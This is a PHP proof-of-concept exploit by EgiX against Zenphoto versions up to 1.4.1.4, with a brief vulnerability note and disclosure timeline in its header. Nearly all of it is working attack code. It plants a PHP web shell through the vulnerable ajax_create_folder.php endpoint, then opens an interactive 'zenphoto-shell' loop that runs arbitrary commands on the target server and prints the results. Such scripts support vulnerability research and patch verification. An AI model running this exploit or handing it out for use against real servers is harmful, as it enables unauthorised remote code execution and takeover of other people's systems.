<?php



/*

    --------------------------------------------------------------------------

    Zenphoto <= 1.4.1.4 (ajax_create_folder.php) Remote Code Execution Exploit

    --------------------------------------------------------------------------

    

    author............: Egidio Romano aka EgiX

    mail..............: n0b0d13s[at]gmail[dot]com

    software link.....: http://www.zenphoto.org/

    

    +-------------------------------------------------------------------------+

    | This proof of concept code was written for educational purpose only.    |

    | Use it at your own risk. Author will be not responsible for any damage. |

    +-------------------------------------------------------------------------+

    

    [-] Vulnerability overview:

    

    All versions of Zenphoto from 1.2.4 to 1.4.1.4 are affected by the

    vulnerability that I reported to http://www.exploit-db.com/exploits/18075/

    

    [-] Disclosure timeline:

    

    [21/10/2011] - Vulnerability discovered

    [24/10/2011] - Issue reported to http://www.zenphoto.org/trac/ticket/2005

    [31/10/2011] - Fix released with version 1.4.1.5

    [05/11/2011] - Public disclosure



*/



error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);



function http_send($host, $packet)

{

    if (!($sock = fsockopen($host, 80)))

        die( "\n[-] No response from {$host}:80\n");



    fwrite($sock, $packet);

    return stream_get_contents($sock);

}



print "\n+-----------------------------------------------------------+";

print "\n| Zenphoto <= 1.4.1.4 Remote Code Execution Exploit by EgiX |";

print "\n+-----------------------------------------------------------+\n";



if ($argc < 3)

{

    print "\nUsage......: php $argv[0] <host> <path>\n";

    print "\nExample....: php $argv[0] localhost /";

    print "\nExample....: php $argv[0] localhost /zenphoto/\n";

    die();

}



$host = $argv[1];

$path = $argv[2];



$payload = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";

$packet  = "POST {$path}zp-core/zp-extensions/tiny_mce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Content-Length: ".strlen($payload)."\r\n";

$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";

$packet .= "Connection: close\r\n\r\n{$payload}";



http_send($host, $packet);



$packet  = "GET {$path}zp-core/zp-extensions/tiny_mce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cmd: %s\r\n";

$packet .= "Connection: close\r\n\r\n";



while(1)

{

    print "\nzenphoto-shell# ";

    if (($cmd = trim(fgets(STDIN))) == "exit") break;

    preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?

    print $m[1] : die("\n[-] Exploit failed!\n");

}



?>